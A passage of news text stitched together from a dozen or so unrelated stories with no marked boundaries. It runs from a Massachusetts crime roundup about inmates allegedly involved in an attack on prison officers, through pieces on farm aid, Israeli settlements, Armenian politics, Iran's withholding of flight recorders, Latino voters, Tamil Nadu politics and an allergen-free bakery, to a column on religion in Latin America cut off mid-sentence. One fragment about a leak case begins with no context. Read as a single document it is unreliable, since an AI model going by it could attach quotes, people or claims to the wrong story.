gotten into an altercation with earlier. A jury found Steven Gonzalez guilty in 2012 of a 2008 execution-style killing on Locust Street in Springfield. Shot point-blank with a 12-gauge shotgun In 2012, Steven Gonzalez was found guilty in the 2008 execution-style murder of Alexander Gautier on Locust Street in Springfield. The 39-year-old had shot Gautier in the face at point-blank range with a 12-gauge sawed-off shotgun. Gonzalezs DNA was later found on the gun. A witness testified during the prisoners prosecution that Gonzalez had returned from Puerto Rico to take control over the heroin trade near Locust Street. Gonzalez admitted he was addicted to heroin, though he denied dealing drugs. The deadly 2011 robbery of a Fitchburg package store A 2011 robbery of JVs Package & Variety Store in Fitchburg led to the killing of 40-year-old Scott Person. Jason Velez-Acosta pleaded guilty to a reduced manslaughter charge in connection to the crime, and the 29-year-old Fitchburg resident was sentenced to 33 to 38 years in state prison as part of a plea deal. A second man, Rafael Garcia-Concepcion, was also sentenced for his alleged involvement in Persons killing, prosecutors said at the time. A history of firing at officers In 2018, then-32-year-old John Mentor was shot in the leg by police and suffered minor injuries after he allegedly pointed his gun at officers in the Hyde Park neighborhood of Boston, WBZ reported. The officers were on patrol and claimed to have seen Mentor shooting at two people. When police tried to stop him, Mentor allegedly turned and pointed his gun at them, according to the news outlets report. Mentor was previously sentenced to nine years in prison after firing his gun at two Boston police officers in 2009. His shots did not hit the officers. Convicted of 2nd degree-murder for stray-bullet killing Twenty-eight-year-old Frank Webb was convicted by a Plymouth County jury in 2014 of second-degree murder and other weapons-related charges after he shot and killed Jennifer Teixeira in 2011 as she left a Brockton church, The Enterprise reported. It was a stay bullet that struck the 51-year-old woman. The Massachusetts Appeals Court upheld the Brockton mans conviction in 2017 after he appealed the second-degree murder charge, according to The Enterprises report. He was sentenced to life in prison, the newspaper reported. Police investigated a stabbing that occurred outside the Hillcrest Arms apartment complex in Springfield. The victim was stabbed in the hands and arms. (Dave Roback/The Republican)Staff-Shot A brutal machete attack in West Springfield Giovanni Buchanan pleaded not guilty in May 2018 to a gruesome machete attack outside the Hillcrest Arms apartment complex in West Springfield that left the alleged victim with severe wounds. The 25-year-old is accused of trying to sell a man crack-cocaine when he instead stabbed the man several times in the parking lot of the complex, leaving wounds on his skull and hands, according to the arrest report. The mans right hand was cut almost in half, and his left hand was nearly cut off at the wrist, the report said. Accused of double-murder outside of Walgreens in Roxbury The Boston Globe reported in 2017 that 28-year-old Tabari Muhammed was indicted in the 2013 killings of Tremayne Jackson and Mibsam Wiggins outside a Walgreens drug store in Roxbury. The two victims, both in their early 20s, had been best friends since childhood, the Boston Globe reported. The double homicide shook those living in the neighborhood. Authorities did not disclose a motive for the shooting, according to the newspaper. Carlos Bastos was convicted in 2013 of giving a gun to Daniel Monteiro, who used the firearm to kill 18-year-old James Rosario Jr. at a party at Rosario's home in Springfield. A situation destined for tragedy In 2013, Carlos Bastos, 29, pleaded guilty for his role in the 2011 killing of 18-year-old James Rosario Jr. Bastos handed over a gun to then-23-year-old Daniel Monteiro, who, angry and intoxicated, used the firearm to fatally shoot Rosario during a party. Monteiro later pleaded guilty to second-degree murder. Rosario was trying to keep the peace at the party he was hosting and attempted to intervene in an altercation between Monteiro and other people, according to Assistant District Attorney Matthew J. Shea. It was a situation destined for tragedy once the decision was made to carry that firearm that night," Shea said. Bastos was convicted of involuntary manslaughter and sentenced to 12 to 15 years in prison. Elosko Brown, a Brockton resident, appeared in this mug shot. He was charged with killing Joseph Morante, 19, in a brazen daylight shooting at a store on Tremont Street in Boston. (Suffolk District Attorney's Office) A brazen daylight shooting on Tremont Street in Boston Video surveillance in 2014 allegedly showed Elosko Brown shooting 19-year-old Joseph Morante inside a store on Tremont Street in Boston before fleeing with several mobile devices as well as a tablet. Morante was working alone as a clerk that afternoon. Surveillance cameras inside the store captured the incident shortly after 1:00 p.m., former Suffolk District Attorney Daniel F. Conley said in a statement. "After entering the store wearing a backpack, Brown can be seen looking at items inside a display case. Morante approached Brown and the two had a brief verbal interaction before Morante walked behind a glass display case. Moments later, Brown allegedly produced a firearm and pointed it at Morantes chest. The 33-year-old Brockton resident was charged with the brazen daylight shooting in Roxbury. The act of an utter coward' Alexander Soto was convicted in 2012, at age 18, of shooting a 22-year-old woman in the face and then firing at three others, including a five-year-old girl, after a fistfight near the Franklin Field housing development in Boston, Conley said in another statement. Soto, now 26 years old, fired five shots from a .38 caliber revolver, missing both of his intended targets and instead striking the 22-year-old. The woman used her body to shield the five-year-old girl from the gunfire, according to prosecutors. The bullet penetrated the womans lower jaw, knocked out several of her teeth and fractured her jaw before coming to rest in her neck, according to the former district attorneys statement. She survived the injuries. The woman didnt realize she was hit until she tried to scream and no sound came out, the statement added. Not only was this act reckless, not only did it threaten the lives of people this defendant didnt even know, but it was the act of an utter coward, Conley said. A young woman was shot in the face, and its a miracle she wasnt killed. Joshua Reyes with his lawyer at his arraignment for the stabbing death of Miguel Rodriguez. (John Suchocki/The Republican) The stabbing death of 24-year-old Miguel Rodriguez In 2011, the body of a 24-year-old man was found between two vehicles on Sargeant Street in Holyoke with multiple stab wounds. Access to the area in front of an apartment building on the street was restricted for several hours as authorities investigated. Several onlookers gathered outside the crime-scene tape, including multiple people who said they know the victim, Miguel Rodriguez, a Holyoke man, The Republican reported at the time. A Hampden Superior Court jury later found 28-year-old Joshua Reyes guilty of first-degree murder in connection to Rodriguezs death. A stabbing, home invasion and armed robbery Lennon Dossantos, Jovani Molinari and Yamil Narvaez Arroyo, all incarcerated men in their 20s, were also allegedly involved in the Jan. 10 attack on the Souza-Baranowski correction officers. Dossantos, a Brockton man, was indicted in 2013 for an armed robbery and assault, and he pleaded guilty to all the charges lodged against him, according to court records. Molinari was charged with an early morning stabbing in 2016 in Lowell, and Narvaez Arroyo, a Springfield man, was indicted for a 2018 home invasion in which he assaulted two people with a handgun. They were each initially sent to MCI-Cedar Junction in Walpole, though it is unclear how they wound up at Souza-Baranowski. Since 2009, MCI Cedar Junction in Walpole, MA has been the reception center for all newly sentenced inmates, DOC said in a statement. It is the first stop for all inmates where they spend a period of time while they are classified and it is determined which facility can best provide the necessary programming and security level an inmate requires. Got a news tip or want to contact MassLive about this story? Email newstips@masslive.com or message us on Facebook orTwitter. You can also call our news tips line at 413-776-1364. Related Content: According to prosecutors, Frese verbally shared the information with the two reporters. Authorities said only 26 individuals, including Frese, accessed all five intelligence reports whose contents were referenced in the stories. Frese and Macias were living together from January to November 2018, according to the court records, and followed each other on Twitter. The Trump administration has allocated $28 billion in aid for farmers hurt by the presidents trade war, with $12 billion set aside in 2018, followed by an additional $16 billion last year. On Friday, President Trump indicated that more aid may be on the way, contradicting Agriculture Secretary Sonny Perdues statement last month that no additional assistance would be made available. The tweet: In an all-caps tweet, Trump said, IF OUR FORMALLY TARGETED FARMERS NEED ADDITIONAL AID UNTIL SUCH TIME AS THE TRADE DEALS WITH CHINA, MEXICO, CANADA AND OTHERS FULLY KICK IN, THAT AID WILL BE PROVIDED BY THE FEDERAL GOVERNMENT, PAID FOR OUT OF THE MASSIVE TARIFF MONEY COMING INTO THE USA! The background: Its not entirely clear what inspired the tweet, but the Department of Agriculture said Thursday that farm exports to China this year would fall short of the levels touted by the White House, The Washington Post reported. In January, administration officials said that the newly signed phase one of the trade deal with China would result in $40 billion to $50 billion in agricultural exports per year, but government economists now say they expect to see $14 billion in sales to China through the end of the fiscal year in September a shorter time frame, but one that suggests that overall sales will lag significantly. Doubts about the trade deal: Reuters reported Friday that experts had been skeptical that China, which had pledged to increase its purchases of U.S. goods by $200 billion over two years, would be able to meet the goal even before a coronavirus outbreak hit the countrys imports and exports. The aid program comes under scrutiny: The U.S. Government Accountability Office opened an investigation of the farmer bailout earlier this month, at the request of Sen. Debbie Stabenow (D-MI), who has raised questions about the way the aid has been distributed. And about those tariffs: Export numbers and possible corruption aside, its worth noting that the tariffs Trump referred to are in fact paid by U.S. companies and consumers. Tariffs are paid by U.S. importers on goods brought into the United States, the Post said. Trump often says the tariffs are paid by foreign countries, but this is not the case. And critics have noted that U.S. companies often pass these higher costs onto U.S. consumers. Like what you're reading? Sign up for our free newsletter. Dr Amanda Hlengwa standing with the nGAP academics The New Generation of Academics Programme (nGAP) is Department of Higher Educations national initiative forming part of the Staffing South Africa University Framework. This is a six-year programme where successful applicants are appointed in permanent academic posts, with a flexible workload of 20% to 50% in year three and four respectively with the remaining years increased to 100% academic load. Universities are required to place national advertisements for nGAP posts and for each cohort the calibre of the applicants that Rhodes University receives is enviable. The nGAP has become a flagship of early career recruitment strategy for Rhodes University. The programme is situated in the Centre for Higher Education Research, Teaching and Learning managed expertly by Dr Amanda Hlengwa. She points out that lecturers on nGAP have a significant contribution to the transformation goals of the institution of ensuring that the academic staff demographics of the institution mirrors the changed student demographics. In 2020 Rhodes University welcomed the fifth cohort of lecturers bringing the total on campus to 20 from 19 disciplines across five Faculties. She explained that the application process is fiercely competitive and each cohort boasts at least one Rhodes Alumnus. Among the current fifth cohort is an old Rhodian and former Student Representative Council Chairperson, Thabang Moleko, a Rhodes Business School Lecturer. Thabang has a Bachelor of Commerce degree from Rhodes University and Masters in Business Administration from Nelson Mandela University. He has a vast experience in banking, property and marketing. Coming back to Rhodes University is a little bit surreal especially the fact that the Business School is just next to my old residence, he said. Thabang remarked on the impressive progress of transformation taking place at Rhodes University. Alyssa Williams, also an old Rhodian and Abe Bailey Fellow, completed her Bachelor of Social Science, two Honours degrees with distinctions in Management and Information Systems, respectively, and a Master of Commerce in Management. Alyssa talks excitedly about being a Rhodes University academic I grew up being told that knowledge is something that can never be taken away from me. For this reason, I will continue to learn and, I am so thankful that I can now be a part of transferring the knowledge I have gained unto others. This programme is extraordinary as it sets us up with the tools to succeed. However, there was a slight amount of anxiousness at first as I was moving from being a student at my department to a staff member. Dr Hlengwa has observed that although it is expected that early career academics experience a period of navigating the transition from student identity to staff identity, there is an added layer for old Rhodians. She said the advantage is that old Rhodians are familiar with the context however the familiarity is from a student perspective and not as a staff member. The department and the new lecturer have to adjust into a collegial relationship and that can take some time to settle into, she said. Dr Hlengwa believes firmly that lecturers on the nGAP have a remarkable academic future ahead, poised to take up various academic leadership in the institution and in their fields. Source: Communications Please help us to raise funds so that we can give all our students a chance to access online teaching and learning. Covid-19 has disrupted our students' education. Don't let the digital divide put their future at risk. Visit www.ru.ac.za/rucoronavirusgateway to donate Ramallah, Feb 21 : Saeb Erekat, the Secretary General of the Palestine Liberation Organization, has said that the US and Israel were "partnering" in annexation plans through an ongoing settlement construction. "(US President Donald) Trump's administration is now partnering with Israel, through the recently formed annexation committee, with its new announcements for more construction and expansion of Israel's illegal colonial settlements on lands belonging to the state of Palestine," Xinhua news agency quoted Erekat as saying in a statement on Thursday. Erekat's remarks came against the backdrop of Israel's latest decision to build 5,200 new settlement units in south of Jerusalem, in addition to approving a plan to build 9,000 new units in north of the city. "The ongoing Israeli settlement announcements represent the implementation of Trump's (Middle East peace) plan, which requires urgent international action to deter both Israel and the US from their continued violations of international law and order," Erekat said. Israeli settlement activity is considered illegal under international law and has been one of the major hurdles to the stalled peace talks between Palestine and Israel since 2014. However, US Secretary of State Mike Pompeo announced in November 2019 that the American government will no longer consider Israel's West Bank settlements "inconsistent" with international law, in a move believed to further dim the future of the Israeli-Palestinian peace talks. Palestine has also rejected Trump's Middle East peace plan, also known as the "Deal of the Century", which he unveiled on January 28. The plan calls for a two-state solution while recognizing Jerusalem as Israel's "undivided capital". YEREVAN. Everything depends on the process, but I don't think it will take several years. Lilit Makunts, head of the majority My Step faction in the National Assembly (NA) of Armenia, mentioned this in a conversation with reporters in the NA today, referring to the observation that it is mentioned that the referendum on compact constitutional amendments can take place simultaneously with the next parliamentary elections. "The issue of strengthening the parliament and factions should also be discussed by the working group on constitutional amendments, she said. There are, of course, questions to be addressed. Although we, as deputies, have to show proactiveness, the possibility of constitutional amendments should also be used in this regard. To the observation that while being an opposition member incumbent Prime Minister Nikol Pashinyan used to say that the Prime Minister and the President should have such powers that the President should not just sit and smile, whereas today Prime Minister Pashinyan has said that there will be no change in the form of government at this time, and asked if this doesn't mean the political team was saying something else, Makunts responded: No, it doesn't mean. A package of constitutional amendments will be discussed, and issues that raise concerns and can be resolved by a constitutional amendment can be done through a fairly inclusive working group. We had a semi-presidential model of governance that acted as a super-presidential one. In addition to legal documentation, political will is important." The journalists also inquired whether the candidates for the new Constitutional Court judges were being considered at the moment, to which Makunts replied: "I can't say what members are being considered because I can't be aware of it; it is not within our powers." OTTAWA - Iran is undermining international law by preventing the examination of the flight recorders from the Ukrainian jetliner it shot down last month, Foreign Affairs Minister Francois-Philippe Champagne said Friday. Hey there, time traveller! This article was published 21/2/2020 (690 days ago), so information in it may no longer be current. Canadian Foreign Affairs Minister Francois-Philippe Champagne speaks during the closing news conference at the Lima Group Ministerial meetings in Gatineau, Thursday, February 20, 2020. THE CANADIAN PRESS/Adrian Wyld OTTAWA - Iran is undermining international law by preventing the examination of the flight recorders from the Ukrainian jetliner it shot down last month, Foreign Affairs Minister Francois-Philippe Champagne said Friday. While Iran has been co-operative in helping repatriate the remains of Canadian crash victims, the regime needs to do more to respond to international questions about the incident six weeks ago that killed all 176 people on board, including 57 Canadians, Champagne said. In a major foreign policy speech, and while speaking to reporters afterwards, Champagne said he has been pushing the Iranian government to respect international civil aviation law and allow the black boxes from Ukraine International Airlines Flight 752 to be sent to France so their data can be properly downloaded and analyzed. Champagne repeatedly said the time has come for Iran to comply with Annex 13 of the Convention on International Civil Aviation, and he said he's personally delivered that message to his Iranian counterpart as recently as last week in Germany. "In Iran, we're told they still want to get the equipment or expertise. I'm saying, well after 30 days you haven't managed to, and since the appendix says 'without delay' I interpret the spirit of the text and the law to be without delay," he said. "So what I'm telling Iran is: let the French experts do it. France has offered to analyze the black boxes." Champagne said he has asked the president of the Montreal-based International Civil Aviation Organization to not allow "that situation to continue because we're going against international law here." Earlier, in his speech, Champagne singled out the challenges posed by Iran, as well as China, as examples of an increasingly volatile world one that Canada wants to confront with its allies by running for a seat on the United Nations Security Council. Canada wants to use a seat on the council to help address the challenges posed by the "selective application" of international law, rising populism and trade protectionism, the erosion of human rights, and the shifting of political and economic power to Asia, he said in the address to the Montreal Council on Foreign Relations. Champagne's top declared priorities include winning the freedom of Michael Kovrig and Michael Spavor from their arbitrary imprisonment by China and pushing Iran to release the black boxes it recovered. "We are seeing the emergence of a multipolar world with new epicentres of influence and competition over ideas and models of governance," he said. "Around the world, human rights are increasingly under threat." Canada's relations with China have deteriorated since December 2018, when the RCMP arrested Huawei high-tech executive Meng Wanzhou. Nine days later, China arrested Kovrig and Spavor in what is widely viewed as retaliation, and later blocked some Canadian agricultural exports. In recent weeks, Canada and China have thanked each other for the open communication and co-operation since the outbreak of the novel coronavirus. Even though Canada has been able to repatriate 550 Canadians since the outbreak with the help of Japanese and Chinese officials, Champagne played down the suggestion of newfound warmth between Ottawa and Beijing. "It should not be inferred that Canada's relationship with China has returned to normal," he said in an English translation of the address given mainly in French. The vexing challenges posed by China and Iran come at a time when Canada is campaigning for that seat on the UN Security Council, an opportunity Champagne said would demonstrate Canada's leadership in confronting the great challenges and crises of our time the rising threats to the world's multilateral institutions. Despite a full slate of international crises to deal with since the start of the year, Champagne has stepped up his campaigning for the UN seat in travels across Africa, Europe and the Caribbean. The June vote will pit Canada against Norway and Ireland for two available seats for a two-year term that begins next year. Canada will need to win the support of at least 128 countries in the secret ballot at the UN General Assembly. Champagne cited Canada's contributions to the Lima Group on the Venezuela crisis, its leadership of a dozen countries on an initiative to strengthen the World Trade Organization, its efforts to rid the world's oceans of plastic pollution and its leadership on championing media freedom. "Indeed, the UN Security Council is still among the most important tables in the world where major decisions and discussions on peace and security are taking place," he said. "And it's a place where Canada can have both influence and relevance." This report by The Canadian Press was first published Feb. 21, 2020. Her transfer by individual flight will be solved separately Ukrainian Anastasiia Zinchenko, who refused from evacuation from Wuhan as she was not allowed to take her dog, is supplied with food as 112 Ukraine reported citing Deputy Interior Minister Anton Herashchenko. We have constant contact with her. Our friends in Wuhan brought her food. It is the personal contacts of Arsen Avakov and a charitable team of the Interior Ministry. She was supplied with meat, sausages, Herashchenko said. The official was asked whether a Ukrainian will be transferred by individual flight and stated that this issue will be solved separately. Anastasiia Zinchenko published proper photos on Instagram. Earlier, she published a talk with President of Ukraine Volodymyr Zelensky. He promised to find a way to return her and the dog to Ukraine. On February 20, during the evacuation of the Ukrainians from Chinese city Wuhan, Anastasiia Zinchenko refused to fly because her dog was not allowed to enter the board. Earlier it was reported that four people, three citizens of Ukraine and one foreigner, were not allowed to the board of the evacuation plane. Senior Latino politicians have warned Donald Trumps growing support among Hispanic voters could be enough to help him secure reelection in November. On the eve of the caucus in Nevada, a state where around 30 per cent of the population is Latino, Democratic candidates have been told to sharply raise their game as they court the Hispanic community, which in 2020 will be the second-largest voting group. Polls suggest support for Mr Trump among Latinos has grown from 28 per cent in the 2016 election to 30 per cent, despite his hardline immigration policies. While that is only a small increase, given Democrats lost the 2016 race by fewer than 100,000 votes, such slim margins could be critical. Democrats need to do much better reaching out to Latino voters, Kristian Ramos, a political strategist and former spokesperson for the Congressional Hispanic Caucus, told The Independent. There are 60m Latinos in the US and they are spread all over the country. Some are newly arrived and some have been here for a long time. They have different interests, and they are interested in issues such as the economy, and education. Democratic candidates compete on the campaign trail: In pictures Show all 18 1 /18 Democratic candidates compete on the campaign trail: In pictures Democratic candidates compete on the campaign trail: In pictures Jessica Canicosa, a precinct captain for Bernie Sanders, waits to greet caucus voters at Liberty High School in Henderson, Nevada REUTERS Democratic candidates compete on the campaign trail: In pictures Hotel workers at the Bellagio in Las Vegas get to grips with voting papers during the Nevada caucuses AFP via Getty Images Democratic candidates compete on the campaign trail: In pictures A caricature of Bernie Sanders is projected on to a tree during a rally in Las Vegas EPA Democratic candidates compete on the campaign trail: In pictures A woman waits to have a photo taken with Elizabeth Warren during a town hall meeting in Las Vegas REUTERS Democratic candidates compete on the campaign trail: In pictures The threat of coronavirus and other germ-borne illnesses was on some voters' minds at the Democratic caucuses in Henderson, Nevada Getty Images Democratic candidates compete on the campaign trail: In pictures Former vice-president Joe Biden takes a selfie with a voter in Las Vegas ahead of the Nevada caucuses REUTERS Democratic candidates compete on the campaign trail: In pictures Amy Klobuchar changes her shoes backstage after giving a speech in Exeter, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures A warmly-wrapped-up dog attends an Elizabeth Warren event at Amherst Elementary School in Nashua, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures Bernie Sanders, who romped to victory in New Hampshire against Hillary Clinton in 2016, talks to the media in Manchester Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden was hoping to improve on his poor showing in Iowa in the New Hampshire primary Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren, renowned for giving time to supporters for selfies, works the crowd at the University of New Hampshire in Durham Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden takes a selfie with a supporter and his child outside a campaign event in Somersworth, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren and Bernie Sanders quarrel after a confrontation in a TV debate in which Sanders claimed that Warren was not telling the truth about a conversation in which she claimed he had said a woman could not win the presidency on 14 January AP Democratic candidates compete on the campaign trail: In pictures Supporter Pat Provencher listens to Pete Buttigieg in Laconia, New Hampshire on 4 February Getty Democratic candidates compete on the campaign trail: In pictures Pete Buttigieg speaks at a campaign event in Concord, New Hampshire while awaiting the results of the Iowa caucus Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren is presented with a balloon effigy of herself at a campaign event in Nashua, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures A Trump supporter rides past a rally for Amy Klobuchar in Des Moines, Iowa on 14 January AP Democratic candidates compete on the campaign trail: In pictures A man holds up a sign criticising billionaires in the presidential race in front of Michael Bloomberg in Compton, Califronia. The former New York mayor skipped the first caucus in Iowa and instead campaigned in California on 3 February Reuters Mr Ramos said when Democratic candidates did engage with Latino voters, it was usually about the issue of immigration or asylum. He said this was an important and emotional topic, but not the only one. Lets talk about everything, said Mr Ramos, who founded the DC-based group Autonomy Strategies. While some Latinos support Mr Trump and the Republicans because of religious beliefs, others are attracted by his talk of building a strong economy, he said. Last summer, vice president Mike Pence formed the Latinos for Trump group in Miami, as part of an effort to win over more supporters. Mr Ramos comments came as Democrats in Nevada hold the partys third primary vote in a state with the fifth largest Latino population by percentage, and where many of those voters hold unionised jobs in the the Las Vegas hospitality industry. This year, for once, the powerful Culinary Workers Union Local 226 did not endorse a candidate, though its leadership did criticise Bernie Sanders healthcare proposal, saying their members wished to keep their private plans. Trump attacks Parasite and calls Brad Pitt a 'little wiseguy' After the votes in the Iowa and New Hampshire, both overwhelmingly white, Saturdays caucus is seen as a crucial test of whether candidates can appeal to voters of colour. Polls suggest Mr Sanders currently leads among Latino voters, both in Nevada and nationally. The Vermont senator has 30 per cent support nationally and 33 per cent support in Nevada, according to a Univision poll released this week. He was followed by Joe Biden in second place both nationally and in Nevada, and Michael Bloomberg who is third nationally, and Tom Steyer who polls third in Nevada. Mr Ramos said based on exit polling from 2008, 2012 and 2016, Democrats needed to win 70 per cent of Latino votes to be sure of victory. Right now, a generic Democrat polls at 65 per cent, while Mr Sanders polls at 67. In 2008, Barack Obama won election with 67 per cent Latino support, while Hillary Clinton lost with 66 per cent of the vote four years ago. Congressman Joaquin Castro, chair of the Congressional Hispanic Caucus and whose twin brother Julian launched a failed bid for he Democratic nomination, has endorsed Elizabeth Warren for the presidency. Polls put her support among Latinos at 10 per cent nationally, ahead of Pete Butttigieg, who came first in Iowa and second in New Hampshire, but who scores just five points from Latinos. Speaking after a forum on immigration and asylum organised by Amnesty International and held at the College of Southern Nevada North Las Vegas Campus in the diverse north east of the city, he said Democrats had in the past failed to make enough effort to connect with people who were out of the habit of voting. Often times folks have not voted before and so the campaigns have not knocked on their doors They are ignored, he said. That has changed as campaigns have made an earnest effort to reach out. Elizabeth Warren has talked about not only immigration and asylum, but what I would call an infrastructure of opportunity for Latinos and all Americans. Great schools and universities, strong healthcare, and an economy build around well paying jobs so that if people work hard they can support themselves and their families. And these are issues that matter to Latino families. Verenice Gaizan, 21, a student of psychology, said she would like to see more Latinos in politics. She said often, people sought to speak for the Latino community when they were not part of it. It would certainly good to have more representation, she said. We often feel that as Latinos our voices are not heard. Rajinikanth, the superstar of South Indian films, can be a gamechanger in Tamil Nadu politics, believes actor-turned-Bharatiya Janata Party (BJP) leader S Ve Shekar. According to Shekar those opposing Rajnikanth's entry into 'Tamil Nadu politics will bow down to him ones he takes the plunge. "In the coming days Tamil Nadu will see a complete end of Dravidian politics and only Rajinikanth has the power to do so," asserted Shekar, who is one of the leaders in the race for Tamil Nadu BJP chief. He claimed that with the death of MK Karunanidhi, Dravida Munnetra Khazgham (DMK) does not much relevance as it lacks political ideology and has no strong leader. So the time is ripe for Rajinikanth to give a direction to the state along with winning the confidence of Tamilians, stated Shekar. Praising Rajinikanth, the BJP leader further said, "Rajinikanth has the power to form a people-friendly government by defeating the Dravidian parties. Rajinikanth is not only a film actor but also a good social worker." He added that those questioning Rajinikanth's entry into politics were in fact jittery about the film legend's popularity and stance on various issues. Shekar also supported Rajinikanth for stating that during a rally by Erode Venkatappa Ramasamy popularly known as Periyar in 1971 nude pictures of Lord Ram and Sita were garlanded with slippers and paraded. "What Rajinikanth said is not wrong. He mentioned a true incident which media and common people avoid talking about." Speaking on Tamil-origin migrants from Sri Lanka, Shekar asserted that they cannot be granted dual citizenship in India. He added, "I would like to appeal to Prime Minister Narendra Modi that proper arrangements should be made for these people and they should be shifted out of detention centers." Shekar also spoke about the anti-Citizenship Amendment Act (CAA) protests in Tamil Nadu claiming, "The protests are sponsored by DMK and I am ready to give it in writing. People are creating fear and confusion about CAA. Some people are misleading the Muslim community about the law." He pointed out that such protests mobilise and unite Hindus which will ultimately help the BJP emerge as a strong political outfit in Tamil Nadu. "In the coming days, BJP will rule in the state. Congress has reached its lowest level. If anyone can give Tamil Nadu good leaders and development, then it is the BJP." Rajinikanth, too, has explicitly voiced his support for CAA and National Population Register (NPR). He had in January 2020 stated that CCA is not against Muslim citizens of India and alleged that some political, as well as religious groups, were spreading misinformation about the law. He also promised to launch a massive agitation if Indian Muslims faced any problem due to CAA. Most brownies take about an hour to make. For Jennifer Lee, the recipe took about two years before it reached perfection. Its not easy baking brownies without eggs. Its a lot of trial and error, Lee said. My egg replacer would turn them into bubbling tar. It was disgusting. The brownies and everything else served at Jennifer Lees Gourmet Bakery at the Worcester Public Market is made without eggs, without milk, without gluten or nuts. The bakery is one of the few in the country that makes everything without using ingredients that rank within the top 10 food allergies in the country. Theres such a need. Nobody is catering to all of these, Lee said. Usually you find places that are just gluten-free or vegan. I have kids that have top 10 allergies that come in, theyve never had a donut in their life. Theyve never stepped into a bakery without being terrified. Top 10 allergen-free means no gluten, eggs, peanuts, tree nuts, dairy, coconut, sesame, soy, fish, and shellfish. Without some of those essential ingredients, baking is often more trial and error than an exact science. Two years after she began concocting brownie recipes one finally replicated the original fluffy fudge treats. It took just as long to replicate her moms banana bread. It broke my heart because I love moms banana bread," Lee said. "But now its our best selling muffin and bread. Jennifer Lee's Gourmet Bakery at the Worcester Public Market offers brownies, cupcakes, doughnuts and more that don't contain eggs, dairy, nuts, soy, coconut or other common allergens. Lee, who also operates a bakery in Boston, doesnt have food allergies, but, for a short time in her life, doctors said she did. As a 17-year-old she opened a bakery. With banks hesitant to provide a teenager with a loan, she worked as a manager at JP Licks in Boston. In 2014, she fell walking out of the freezer, suffered a seizure and broke her neck. While recovering from the fall, she broke out in hives. They told me it was a gluten allergy and to give it up, Lee said. For an entire month, I gave it up. I felt so alone. And I felt like no one understood, that no one could cater to me. I felt like an outcast. After further tests, doctors discovered the opiates they prescribed her, not gluten, caused the hives. It opened my eyes to food allergies and how the restaurant industry just kind of looks the other way for food allergies and doesnt want that liability in their place, Lee said. [Restaurants] cant cater to customers because theyre so contaminated. The following year, Lee changed the name of her bakery from Sugar Coated Heaven to Jennifer Lees Gourmet Bakery. With the name change came baking items without gluten, dairy, eggs and nuts, which eventually evolved to top 10 allergen free. It was hard. It was a whole year of gross stuff, hard as bricks, Lee said. It was not tasty. It was definitely a learning curve for allergen-friendly. Jennifer Lee's Gourmet Bakery at the Worcester Public Market offers brownies, cupcakes, doughnuts and more that don't contain eggs, dairy, nuts, soy, coconut or other common allergens. In 2016, the bakery began to perfect its taste and participated in a popup in Boston. It soon became a popular permanent fixture at the Boston Public Market. The move west to Worcester was the first in a three-part expansion that Lee hopes eventually will include southern New Hampshire and the south shore. I have such a niche market that I dont want to be close together like a Dunkin Donuts, Lee said. People will travel for me. People have traveled from almost every state, except Alaska, to see me already. People plan their whole vacations to see me. To keep both the Boston and Worcester bakeries stocked, Lee has managed to function on about three to four hours of sleep a night. From 10 p.m. to 4 a.m., Lee bakes in Worcester before driving to Boston to drop some of the items off. She spends about an hour in Boston decorating cakes before driving back to Worcester where she works until 6 p.m or 7 p.m. Both the Worcester and Boston shops are closed on Monday, which Lee uses as a day to recuperate. I love my customers. They mean a lot to me. They help me get through the day, Lee said. When I get pictures of little kids smashing their birthday cake in their face, and theyre super excited, Im like its worth it. Some of Lees younger customers, she said, eventually grow out of their food allergies, yet still, only eat cupcakes or brownies from her bakery. They now travel to Boston or Worcester, not because they have to but they want to. Its a trend thats only grown since she opened Jennifer Lees Gourmet Bakery. My dad is a very meat and potato guy, Lee said. If he will eat something, I know its good. Related Content: The numbers need updating, of course, as do some other elements of the article, but the basic point of this column, which I published in the Provo Daily Herald back in 1999, not long after a trip to South America and another to southern Mexico and Guatemala, still holds: While many in the United States continue to think of Latin America as almost uniformly Roman Catholic, this is no longer true (if it ever really was). The religious situation south of the U.S. border is far more complex than stereotypes would suggest. In fact, a religious revolution is underway in the Spanish- and Portuguese-speaking nations of this hemisphereone of the most momentous in recent history. Protestant seminaries dot the region. Virtually every village in the Guatemalan lowlands boasts an evangelical or Pentecostal churchor both. Maya Indians, newly militant, dissatisfied with centuries of rule by descendents of their conquerors, gather among the ancient temples of Tikal to perform their own rituals. Along the road from Guatemala City to the nations old colonial capital, Antigua, faithful Muslims are summoned to prayer five times daily from the minaret of a mosque. An even more prominent mosque, white, with two minarets, is a leading landmark in the Brazilian provincial city of Foz do Iguacu, located near the borders of Paraguay and Argentina. Not far from the ruins of the eighteenth century Jesuit settlements that inspired the Robert DeNiro film The Mission, Foz do Iguacu boasts a population of at least 16,000 Muslims, or roughly five percent of its population. Perhaps owing to their ethic of hard work and mutual assistance, they are disproportionately visible and influential and a visitor can hardly miss their presence. Billboards throughout the area advertise Textil Osman, the Aladdin and other Arabic restaurants, Estambul carpets, the Fouad Center, and the Villa Hijazi. At least two local cable channels steadily broadcast Arabic programs. Along the road out of the city toward the spectacular waterfalls of Iguacu and their surrounding subtropical rain forest, an Adventist Christian camp sits very close to a large Muslim social club. On another road out of the city, toward the vast Itaipu hydroelectric complex (the largest in the world), Protestant billboards summon drivers to accept Jesus. Nearby, a small white Mormon chapel offers a different vision of Christianity. Almost 300,000 Mormons currently reside in Sao Paulo, Brazil, which has the largest population of Latter-day Saints in a single city outside of Utah. In Lima, Peru, the Mormons have a temple and a large missionary-training complex. A Templo Adventista stands not far from a very modern Catholic church in the fashionable Lima suburb of Miraflores, which has been brilliantly chronicled in the novels of Mario Vargas Llosa. In the Peruvian Andes, devotees of the New Age and the Goddess gather at the breathtaking Incan ruins of Machu Picchu. Centuries of close association between the hierarchy of the Catholic Church in Latin America and the regions conquerors, rulers, and privileged classes have tainted Catholicism in many minds. Additionally, the complacency that sometimes afflicts monopolies seems to have left its leaders ill prepared for competition. Only in recent years, it seems, have many of the bishops and priests awakened to the risks of their new situation. The small nation of Uruguay has a strong tradition of secularism and of the separation of church and state. The Roman Catholic church 